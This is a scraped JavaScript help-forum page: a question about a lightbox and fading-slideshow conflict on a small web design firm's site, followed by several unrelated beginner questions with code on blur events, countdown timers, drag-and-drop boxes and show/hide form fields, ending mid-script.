JavaScript - Strange Behaviour Of Java Scripts In Firefox Help
for some reason on my site 2 javascipts are acting strange there is obviously a conflict in them but I have no idea when it comes to javascript.
My site can be viewed at www.actioncomputing.co.uk The images on the right hand side use a script which makes them open a window with the enlarged image in, the revolving image below just cycles through other jobs i have done. now problem is when the side images are clicked everything else on page should go dark including the revolving image but it doesnt it stays light and even goes over the top of my close button ( please try clicking on the sds asbuilt image you will see what i mean. my html code is below but i dont think there is a issue here Im thinking there must be a variable thats conflicting between the 2?!?!? Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Web Design Bournemouth, Graphic Design Hampshire, Logo Design Dorset, Southampton</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="description" content="Website Design and Graphic Design by Action computing, A leading Website Design Company. Website Design, Ecommerce Web Design & Web Development. Logo Design, Label Design ."/> <meta name="keywords" content="web design bournemouth, website design, web designers, website optimization, advert design,logo design, pc repair, label design, design, web design company, ecommerce, ecommerce web design, hampshire, dorset, bournemouth, southampton"/> <meta name="author" content="Website and Graphic Design Company, Action Computing"/> <meta name="language" content="EN"/> <meta name="Classification" content="Website Design and Graphic Design Company"/> <meta name="copyright" content="www.ActionComputing.co.uk"/> <meta name="robots" content="index, follow"/> <meta name="revisit-after" content="7 days"/> <meta name="document-classification" content="Website Design and Graphic Development"/> <meta name="document-type" content="Public"/> <meta name="document-rating" content="Safe for Kids"/> <meta name="document-distribution" content="Global"/> <link href="new-css-rebuild.css" rel="stylesheet" type="text/css" /> <link href="css/lightbox.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="jquery.min.js"></script> <script type="text/javascript" src="fadeslideshow.js"> </script> <script type="text/javascript"> var mygallery=new fadeSlideShow({ wrapperid: "fadeshow1", dimensions: [220, 200], imagearray: [ ["images/demos/sdsasbuilt.jpg", "http://www.asbuiltsdsgroup.co.uk/", "_new", "Asbuilt SDS group front portal"], ["images/demos/sdsgroup.jpg", "http://www.sds-group.co.uk/", "_new", "SDS Asbuilt group front portal"], ["images/demos/gillyprint.jpg", "http://www.gillyprinters.com", "_new", "Gilly Print, professional labelling Website"], ["images/demos/firetradeasia.jpg", "http://www.hemminginfo.co.uk/index.cfm?fuseaction=home.products&producttypeid=2", "_new", "Hemming Information Group online Fire Trade Europe Directory ."], ["images/demos/timespace.jpg", "http://www.intensive-driving-schools.co.uk/", "_new", "Time and Space driving schools website"], ["images/partytubhire.jpg", "http://www.partytubhire.co.uk", "_new", "Party Tub Hire Website 'Relax in style'"], ["images/demos/arborventure.jpg", "http://www.arborventure.co.uk/", "_new", "Arbor Venture Website"] ], displaymode: {type:'auto', pause:2500, cycles:0, wraparound:false}, persist: false, //remember last viewed slide and recall within same session? fadeduration: 500, //transition duration (milliseconds) descreveal: "ondemand", togglerid: "" }) </script> <script type="text/javascript" src="js/prototype.js"></script> <script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js/lightbox.js"></script> <script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script> </head> <body> <div class="Container"> <div class="header"> <div class="Topleftmenu"> <p style="text-align:center; padding-top:7px;"> <a class="menu" href="index.html">Home</a> <span class="vertline">|</span> <a class="menu" href="contact-action-computing-web-design.php">Contact</a> <span class="vertline">|</span> <a class="menu" href="#">About Us</a> <span class="vertline">|</span></p> </div> <div class="topmenuright"></div> <div class="menumiddle"></div> <div class="menubottomimage"></div><div class="menubottomright"> <p style="text-align:center; padding-top:7px;"><a class="menu" href="webdesign-web-designer-hampshire-dorset-bournemouth.htm">Web Design</a> <span class="vertline">|</span><a class="menu" href="pc-maintenance-hampshire-dorset.htm"> PC Maintenance</a> <span class="vertline">|</span> <a class="menu" href="logo-Design-hampshire-dorset-bournemouth.htm">Logo Design</a> <span class="vertline">|</span> <a class="menu" href="label-Design-hampshire-dorset-bournemouth.htm">Label Design</a> <span class="vertline">|</span> <a class="menu" href="graphic-Design-hampshire-dorset-bournemouth.htm">Other Graphic Design</a></p> </div> <div class="Flashtop"> <script type="text/javascript"> AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','622','height','101','src','images/headermov','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','images/headermov' ); //end AC code </script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="622" height="101"> <param name="movie" value="images/headermov.swf" /> <param name="quality" value="high" /> <embed src="images/headermov.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="622" height="101"></embed> </object></noscript> </div> </div> <div class="content1container"> <div class="contentleft"> <div class="insideleftborder"><img src="images/sidegradients.jpg" width="9" /></div> <div class="leftcontent-tops"> <h1 class="titles"> Welcome To Action Computing, Bournemouth!</h1> </div> <div class="leftcontent-bottom"> <p><br /> <h2>Welcome to Action Computing . We are a <strong>Web Design</strong> and <strong>Graphic Design</strong> studio based near Bournemouth, Dorset on the south coast of the United Kingdom. that specialize in <strong>Web Design</strong>, <strong>Web Optimisation</strong> and all elements of <strong>Graphic Design</strong> including <strong>Stationary Design</strong>, <strong>Logo Design</strong>,<strong> Label Design</strong>, <strong>Advert Design</strong>, <strong>Brochure Design</strong>, <strong>Exhibition Artwork Design</strong> and <strong>Packaging Design</strong>. Action Computing will Design Internationally as well as locally.<br /></h2> <br /> </p> <p>Action Computing focuses on three main goals, </p> <p> </p> <p ><img src="images/QuestionMark.png" width="53" height="51" style="float:right; padding-right:20px; padding-left:20px" /></p> <p><strong>One</strong>, making things as simple for the customer as possible using language and explanations that anyone can understand rather than using <strong>Web Design</strong> /<strong> Graphic Design 'jargon'</strong>, this way rather than being confused about the subject matter the client can feel completely Comfortable with exactly what is going on</p> <p> </p> <p><img src="images/handshake.jpg" style="float:right; padding-right:10px; padding-left:20px; padding-top:10px;"/><strong>Two</strong>, Building a friendly long term relationship with our customers. Successful web site's are not built overnight, they evolve over a period of months and years and with Action Computing by your side you can guarantee a constant aid to all your <strong>Web Design</strong> and <strong>Graphic Design</strong> needs.</p> <p> </p> <p><img src="images/pile_english_money.JPG" width="72" height="59" style="float:right; padding-right:10px; padding-left:20px;" /><strong>Three</strong>, Making you money while keeping your Web or <strong>Graphic Design</strong> costs as low as possible. Its all well and good having a pretty web site but if it does not generate money or business then it is simply a waste of time and money, at Action Computing we strive to make sure your web site will succeed.</p> <p> </p> <p align="justify" class="style10">With over 10 Years of <strong>Web Design</strong> experience we hope to make your journey to the web as smooth as possible and guarantee to cater to your needs as best possible as we can.</p> <p align="justify" class="style10">For Everything that is needed to take your first steps into you <strong>Web Design</strong> or <strong>Graphic future</strong> please<a href="contact.php"> click here</a> or above on the appropriate Design needed.</p> <br /> <p align="right" style="border-top:1px dashed #000000; border-bottom:1px dashed #000000; "> Regards<br /> Action Computing </p> </div> <div class="leftcontent-tops"> <h1 class="titles">Our Promise</h1> </div> <div class="leftcontent-bottom"><br /> At Action computing are promise to to make you happy, Whether it be <strong>Graphic Design</strong> including <strong>Logo Design</strong>, <strong>Label Design</strong> and <strong>Advert Design</strong> or <strong>Web Design</strong> we will not simply make one <strong>web site</strong> or graphic that you "must" take off us! we will not give up on your <strong>Web site</strong> or Graphics until you are "100%" happy with the outcome, We do usually manage to interpret our customers design dreams to a almost identical result first time, but we will always make your design dreams become a reality! <p></p> <br /> <br /> <p align="right" style="border-top:1px dashed #000000; border-bottom:1px dashed #000000; ">Regards<br /> Action Computing </p> <div align="center"> <p>All of our web sites are tested on the most common browsers.</p> <p> </p> <p><img src="images/ie.jpg" style=" padding-left:70px; float:left" /><img src="images/firefox.jpg" style=" padding-left:20px; float:left" /><img src="images/aol.jpg" style=" padding-left:20px; float:left"/><img src="images/SAFARI.jpg" style=" padding-left:20px; float:left"/> </p> <p style="clear:both; padding-left:67px; float:left;">Internet Explorer Fire Fox AOL Safari<br /> <br /><strong>Web Design Bournemouth, Graphic Design Hampshire, Logo Design Dorset, Southampton </strong></p> </div> </div> </div> <div class="contentright"> <div class="insiderightborder"></div> <div class="rightcontent-tops"> <h1 class="titles">Recent Examples</h1> </div> <div class="rightcontent-bottom"> <div align="center"><br /> <a href="images/demos/full size/levelchecker.jpg" title="Level-Checker Web site visit at www.level-checker.co.uk" rel="lightbox"> <img src="images/demos/level-checker.jpg" width="212" height="221" /></a><br /> <a href="images/demos/full size/levelchecker.jpg" title="Level-Checker Web site visit at www.level-checker.co.uk" rel="lightbox">Level-Checker</a><br /> Web site </p> <hr /> <a href="images/demos/full size/asbuilt.jpg" title="Asbuilt SDS Group Web Portal visit at www.asbuiltsdsgroup.co.uk" rel="lightbox"><img src="images/demos/sdsasbuilt.jpg" width="212" height="191" /></a><br /> <a href="images/demos/full size/asbuilt.jpg" title="Asbuilt SDS Group Web Portal visit at www.asbuiltsdsgroup.co.uk" rel="lightbox">Asbuilt SDS Group</a><br /> Web site / Portal <hr /> <div id="fadeshow1"></div> **** ****** </div> </div> <div class="rightcontent-tops"><h1 class="titles">Testimonials</h1></div> <div class="rightcontent-bottom"></div> </div> <div class="bottommenu"> <p><a class="menubottom" href="contact-action-computing-web-design.php">Contact</a> <span class="vertline">| </span><a class="menubottom" href="webdesign-web-designer-hampshire-dorset-bournemouth.htm">Web Design</a> <span class="vertline">|</span><a class="menubottom" href="pc-maintenance-hampshire-dorset.htm"> PC Maintenance</a> <span class="vertline">|</span> <a class="menubottom" href="logo-Design-hampshire-dorset-bournemouth.htm">Logo Design</a> <span class="vertline">|</span> <a class="menubottom" href="label-Design-hampshire-dorset-bournemouth.htm">Label Design</a> <span class="vertline">|</span> <a class="menubottom" href="graphic-Design-hampshire-dorset-bournemouth.htm">Other Graphic Design</a> </p> <p>Action Computing email:<a href="mailto:enquiries@actioncomputing.co.uk">enquiries@actioncomputing.co.uk</a> phone: 07927255606</p> </div> </div> </div> </body> </html> Major thanks to anyone who can help Similar TutorialsHi all, A piece of code I have been working on has a small issue with bluring off a div and I can't working out why. Basically what I do is append divs to the DOM and on double click I make them editable and when I blur they are none editable and I append a new div into the document. I have quickly knock up a small piece of code to illustrate the problem ... Code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <style text="text/css"> .dropArea { color:#757575; font-weight:bold; display:block; margin:0px; border: 1px dashed #999999; background-color:#DDDDDD; left:10px; right:10px; /*width:auto;*/ text-align:center; line-height:20px; } .textEditArea { display:block; margin-bottom:10px; border: 1px dashed #999999; background-color:inherit; left:10px; right:10px; padding:5px; width:auto; } </style> <script> function makeEditable(activeZone) { if (activeZone.className == "dropArea") { activeZone.innerHTML = ""; } activeZone.contentEditable = true; activeZone.className = "textEditArea"; } function doneEditing(activeZone) { // if no HTML added, make it a drop zone if (trim(activeZone.innerHTML) == "") { activeZone.className = "dropArea"; activeZone.innerHTML = "Drop items from or double click to add text"; } else if (activeZone.addDropZoneAlready == undefined) { // add a new drop zone underneath activeZone.title = "Double click to edit text"; activeZone.addDropZoneAlready = "true"; activeZone.zoneType = "textDisplay"; addNewDropZone(); } activeZone.contentEditable = false; } function addNewDropZone() { var dropArea = document.createElement("div"); dropArea.className = "dropArea"; var appendTo = document.body; appendTo.appendChild(dropArea); dropArea.ondblclick = function () { makeEditable(dropArea); }; dropArea.onblur = function () { alert('done'); doneEditing(dropArea); }; dropArea.innerHTML = "Drop items or double click to add text"; } </script> </head> <body onload="addNewDropZone();"> <div onDblClick="this.contentEditable=true;" onBlur="this.contentEditable=false;alert('Done!');" style="background-color:#C0C0C0; width: 500px; height:200px;"></div> </body> </html> The div in the body already works as expected, it alerts "Done!" however divs I append into the document have to blur twice before the onblur fires? I just don't undestand why its doing it. Anybody have any ideas as to what is happening? Thanks, Dale Hi, I am trying to make an xml file download from my website, so the saveAs window will be open, I checked the forum and found the following code. but instead of saving the xml file it saves the html file. any clue??? are there other ways to do it ? Code: <html> <script type="text/javascript"> function forceSaveAs (filename){ document.execCommand('SaveAs',null,filename) } </script> <a href='/DVEConfiguration.xml' onclick=\"forceSaveAs('DVEConfiguration.xml_export'); return false\">Download</a> </html> I also try to send the xml with the following header but with no success Code: print "Content-type: application/octet-stream\n\n"; print "Content-Disposition: attachment; filename=file.xml;" Dear all I have been working with with window.promt() and i noticed a weird behaviour. In some cases (i do not known why) my prompt cannot get over a certain limit of characters. But in some other cases it can get as many characters as i want. Anyone know about this? Thanks Alex Hello, I'm new to java script. I have placed two scripts into my HTML document and only one works. If I take one out, then the other works. What am I doing wrong? The page I'm talking about is mrswaldrop.com/temp2.htm Thanks for your help. Hello all, As I am new to java scripts, I usually solve thing with trial and error. What I need is a very simple java script for a count down timer, after searching here I found this: ---------------------- Code: <font style="font-size:72px" color="#FF0000" face="Arial"> <script type = "text/javascript"> var page = "http://www.google.com"; //The page to redirect to function getSeconds() { startTimer (3); // 36 hours } var timeInSecs; var ticker; function startTimer(secs){ timeInSecs = parseInt(secs); ticker = setInterval("tick()",1000); tick(); // to start counter display right away } function tick() { var secs = timeInSecs; if (secs>0) { timeInSecs--; } else { window.location = page; // stop counting at zero // and start again if required } var hours= Math.floor(secs/3600); secs %= 3600; var mins = Math.floor(secs/60); secs %= 60; var result = ( (mins < 10) ? "0" : "" ) + mins + ":" + ( (secs < 10) ? "0" : "" ) + secs; document.getElementById("countdown").innerHTML = result; } </script> <body onload = "getSeconds()"> <span id="countdown" style="font-weight: bold;" ></span> ----------------------------- I modified some stuff, as I defined the font face and size, the color as well, and I added a var to open a certain page when the time is over (as I said before, all these modifications came right with trial and error). So, is that script good? or are there better scripts that do the same job? And, can someone please provide me with a script that does the same functionality of the script I mentioned but instead of showing digits it shows: 01 minutes 31 seconds ? Thank you so much. So I've started learning Javascript some days ago. Reading 'JavaScript Bible' Seventh Edition. One of the things the book repeatedly says is: use: Code: if(!document.getElementById()) return; (and others like: Code: if(!document.createTextNode()) return; ) to filter out all the browser who are in fact not supporting DOM. As I'm using Safari (and Firefox for testing purpose) the 'document.getElementById()' and therefo DOM is supported. Now, my browsers (both Safari and Firefox) get returned out of the javascript anyway. as simple as: Code: if(!document.getElementById()) return; document.write("testIt!"); the document.write doesn't get executed. Now: I found a simple solutions which seems to work.... partially: Code: if(document.getElementById() == "undefined") return; document.write("testIt!"); This seems to work for Safari, but Firefox still gets returned out of the javascript. I could just omit the if statements to make it work altogether. But that doesn't sound like the best method to me, because (so I've read) it can crash browsers and such. Now my question: Why are my browsers (or javascript for all I care) acting so strange? Is there a way to make the if(!document.getElementById()) work? or is it just a silly rule the writers of the JavaScript Bible made up? Thanks in advance for any help :) Is possible to call cgi scripts from javascript scripts?
Hello. I'm using the keyup event for an input box to check for the Escape key (keyCode 27). I'm then using this to hide a related select element. It works okay apart from IE(8) of course . How can I prevent IE carrying on with its normal Escape behaviour? If tried a number of things, most recently: Code: e.cancelBubble = true; if ( e.stopPropagation ) e.stopPropagation(); return false; but it, IE, is insistant. I tried switching to 'keydown' but it went a bit wonky.. Andy. Hi I'm looking for solutions to play a movie file (it can be any format) on a keyboard press. I have this 'textsizer' code so far which I have adapted to work with swapimage but wondered if it would be possible to adapt this to play a movie too. function textsizer(e){ var evtobj=window.event? event : e //distinguish between IE's explicit event object (window.event) and Firefox's implicit. var unicode=evtobj.charCode? evtobj.charCode : evtobj.keyCode var actualkey=String.fromCharCode(unicode) if (actualkey=="a") MM_swapImage('Image1','','marta3.jpg',1) if (actualkey=="z") MM_swapImgRestore('Image1','','marta.jpg',1) } document.onkeypress=textsizer Hope someone can help Thanks I have 9 boxes which I can drag around an invisible grid however when the onMouseDown function is called for the first time on each of the boxes, they behave erratically, then once all boxes have been clicked once, the entire script works as it should. I've tried using default values when declaring the variables however it doesn't seem to do anything. Does this happen with anyone else, anything obvious I'm missing. Code: <html> <head> <script language="javascript"> var x; var y; var org_top; var org_left; var diff_org_top; var diff_org_left; var element; var element2; var being_dragged = false; var newleft; var newtop; function mouse_move(event) { if(event.offsetX || event.offsetY) { x=event.offsetX; y=event.offsetY; } else { x=event.pageX; y=event.pageY; } if(being_dragged = true) { document.getElementById(element).style.top = y-diff_org_top +'px'; document.getElementById(element).style.left = x-diff_org_left +'px'; } } function mouse_down(ele_name) { being_dragged = true; element = document.elementFromPoint(x, y).id; org_top = document.getElementById(element).style.top; org_left = document.getElementById(element).style.left; diff_org_top = y-org_top.substring(org_top.length-2,org_top); diff_org_left = x-org_left.substring(org_left.length-2,org_left); } function mouse_up() { being_dragged = false; newtop = Math.floor((y-diff_org_top+100)/200) * 200; newleft = Math.floor((x-diff_org_left+100)/200) * 200; if (newtop<0) { newtop = 0; } else if (newtop>400) { newtop = 400; } if (newleft<0) { newleft = 0; } else if (newleft>400) { newleft = 400; } document.getElementById(element).style.display = 'none'; if (document.elementFromPoint(newleft+100, newtop+100).id != '') { element2 = document.elementFromPoint(newleft+100, newtop+100).id; document.getElementById(element2).style.top = org_top; document.getElementById(element2).style.left = org_left; element2 = null } document.getElementById(element).style.display = 'block'; document.getElementById(element).style.top = newtop +'px'; document.getElementById(element).style.left = newleft +'px'; element = null; } </script> <style type="text/css"> .box { float:left; display:block; width:190; height:190; margin:5; position:absolute; } .red { background:red; top:0; left:0; } .blue { background:blue; top:0; left:201; } .yellow { background:yellow; top:0; left:401; } .green { background:green; top:201; left:0; } .violet { background:violet; top:201; left:201; } .orange { background:orange; top:201; left:401; } .maroon { background:maroon; top:401; left:0; } .lime { background:lime; top:401; left:201; } .indigo { background:indigo; top:401; left:401; } </style> </head> <body onMouseMove="mouse_move(event)"> <div id="one" class="red box" onMouseDown="mouse_down('one')" onMouseUp="mouse_up()"> </div> <div id="two" class="blue box" onMouseDown="mouse_down('two')" onMouseUp="mouse_up()"> </div> <div id="three" class="yellow box" onMouseDown="mouse_down('three')" onMouseUp="mouse_up()"> </div> <div id="four" class="green box" onMouseDown="mouse_down('four')" onMouseUp="mouse_up()"> </div> <div id="five" class="orange box" onMouseDown="mouse_down('five')" onMouseUp="mouse_up()"> </div> <div id="six" class="violet box" onMouseDown="mouse_down('six')" onMouseUp="mouse_up()"> </div> <div id="seven" class="maroon box" onMouseDown="mouse_down('seven')" onMouseUp="mouse_up()"> </div> <div id="eight" class="lime box" onMouseDown="mouse_down('eight')" onMouseUp="mouse_up()"> </div> <div id="nine" class="indigo box" onMouseDown="mouse_down('nine')" onMouseUp="mouse_up()"> </div> </body> </html> Hey all, I have a rather complicated program so I'm going to try and make it a little simpler - the problem is with the following function: Code: this.onInsertSuccess = function (paramsArray) { var result = Array(); result[0] = {}; result[0][this.params.idfield] = paramsArray.id; result[0][this.params.titlefield] = "NEW ITEM"; result[0][this.params.displayfield] = 1; console.log(this.displayArray.length); for (x = 0; x < this.displayArray.length; x++) { this.displayArray[x][this.params.displayfield] = x + 2; result[result.length] = this.displayArray[x]; newParams = {idfield:this.params.idfield, id:this.displayArray[x][this.params.idfield], table:this.params.table, displayfield:this.params.displayfield, order:(x+2)}; this.load.updateItem(newParams); } this.displayArray = Array(); for (x = 0; x < result.length; x++) { this.displayArray[x] = result[x]; } this.display(); } Here's a simplified version: Code: onInsertSuccess = function (id) { var result = Array(); result[0] = {}; result[0][this.params.idfield] = id; result[0][this.params.titlefield] = "NEW ITEM"; result[0][this.params.displayfield] = 1; for (x = 0; x < this.displayArray.length; x++) { this.displayArray[x].displayorder = x + 2; result[result.length] = this.displayArray[x]; } this.displayArray = result; // this just updates the display and has no effect on displayArray this.display(); } What's happening is that the first time this is called, displayArray appears to update correctly and a "NEW ITEM" appears at the top of my list. The next time the function is called, displayArray consists of only two results - each "NEW ITEM" - this continues to be the case when the function is called again. the initial displayArray is this: Code: this.displayArray = [{'clid': "1", 'name': "Yorkshire Digital Awards", 'displayorder': "1"}, {'clid': "2", 'name': "Screen Yorkshire", 'displayorder': "2"}, {'clid': "3", 'name': "SureStart Selby District", 'displayorder': "3"}, {'clid': "4", 'name': "Mencap", 'displayorder': "4"}, {'clid': "5", 'name': "York St. Johns", 'displayorder': "5"}, {'clid': "6", 'name': "Mobstar Media", 'displayorder': "6"}, {'clid': "7", 'name': "Wheatfields Hospice", 'displayorder': "7"}, {'clid': "8", 'name': "The National Railway Museum", 'displayorder': "8"}]; I've left the original function in because I fully appreciate that it may be another function that's causing this problem! I thought also it could be to do with accidentally assigning references rather than values (hence the adaption of the result assignment at the end of the function in the full code). Any ideas? Many thanks Edd Im using an anchor tag with a class specified. When i click the anchor tag which i have displayed using C# it opens as a popup with background disabled. But when i clikc the anchor tag which i displayed using javascript it redirects to the url mentioned and does not open as a popup. C# Code ----------------- Code: builder.Append("<a href='EditLevelValues.aspx?levelId=" + levelId + "&levelValueId=" + levelValueId + "&levelName=" + levelName + "&levelValueName=" + levelValueName + "&levelValueDescription="+levelValueDescription+"&placeValuesBeforeTB_=savedValues&TB_iframe=true&height=300&width=500&modal=true&' class='thickbox obox'>"); trLevels.InnerHtml = builder.ToString(); JAVASCRIPT CODE ------------------------- Code: strLevelValues += "<a href='EditLevelValues.aspx?levelValueName=" + lvlValueName + "&levelId="+lvlId+"&levelValueId=" + lvlValueId + "&levelValueDescription="+lvlValueDescription+"&levelName=Projects&placeValuesBeforeTB_=savedValues&TB_iframe=true&height=300&width=500&modal=true&' class='thickbox obox'>"; trProjLevel[0].innerHTML = strLevelValues; Hi. I have a JavaScript that resizes an image held within an Iframe. It works perfectly, BUT only works if there is an alert box in the code. /*Image resizing scripts - Dependant on page size!*/ /////////////////////////////////// function Im_Resize() { var imheight = 550; /*Change the IFrame CSS*/ iframeheight = imheight + 15; /* +15px for the x-axis scroll bar*/ var IFrame = document.getElementById('MainFrame'); IFrame.style.height = iframeheight + 'px'; alert('after iframe size - before im change'); /*Change the Image CSS*/ var innerdoc = IFrame.contentDocument || IFrame.contentWindow.document; Image1 = innerdoc.getElementById('MainImg1'); Image1.style.height = imheight + 'px'; } If I take the alert box out the code just doesn't work?? I thought that it was that during the loading of the page an element hadn't been loaded yet, but a delay doesn't work either. If I press 'ok' on the alert box too quick it doesn't work either. In terms of HTML this script is run whenever the page is loaded and is also fired when a click event is detected on one of the divs on the page. Any help would be great Ed Hey Everyone, first time posting so thanks for any help. I'm fairly new to JS and was playing around with the horizontal menu CSS and JS files found here on the site (http://www.javascriptkit.com/script/...stopmenu.shtml). I was able to go edit the CSS page to edit the images used in the menu, but if I wanted to add another horizontal menu in a different spot, how do I rename the CSS and JS files, and identify them in the body so that I could use the same style but just switch the img src in the javascript file? .....I have this in the head of the page: Code: <link rel="stylesheet" type="text/css" href="css/csshorizontalmenu.css" /> </script> <script type="text/javascript" src="css/csshorizontalmenu.js"> </script> .....And this in the body Code: <div class="horizontalcssmenu"> <ul id="cssmenu1"> <li style="border-left: 0px solid #202020;"><a href="http://www.javascriptkit.com/">Browse</a></li> <li><a href="http://www.javascriptkit.com/cutpastejava.shtml" >Search</a></li> So for a second menu, can I copy the csshorizontalmenu.js files as csshorizontalmenu1.js and recall it through a div class or such? Thanks for any help and sorry if that was confusing I have two pieces of code that work individually, each for a single element on a webpage. I need to know how to put these together somehow, as only the second works when they are added in the head tag pair. Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state1').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state1').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('country_code').onchange=function(){showHideDiv(this.value);} } </script> and Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 